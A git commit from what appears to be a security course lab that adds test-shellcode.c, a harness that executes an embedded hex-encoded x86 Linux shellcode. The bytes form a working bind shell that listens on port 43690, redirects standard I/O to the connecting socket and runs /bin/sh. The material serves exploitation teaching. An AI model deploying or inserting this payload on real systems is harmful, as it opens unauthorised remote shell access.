include lab code
This commit is contained in:
parent
aa09157216
commit
7a13228c69
5 changed files with 146 additions and 0 deletions
20
Lab02/LabExploitation/test-shellcode.c
Executable file
20
Lab02/LabExploitation/test-shellcode.c
Executable file
|
@ -0,0 +1,20 @@
|
|||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
// Enter your shellcode here
|
||||
char *code = \
|
||||
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"
|
||||
"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"
|
||||
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"
|
||||
"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"
|
||||
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
|
||||
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"
|
||||
"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80";
|
||||
|
||||
// Just execute the shellcode. This is just to check if your shellcode works
|
||||
int main(int argc,char** argv ){
|
||||
printf("Shellcode Length: %lu\n", strlen(code));
|
||||
int (*ret)() = (int(*)())code;
|
||||
ret();
|
||||
}
|
||||
|
Reference in a new issue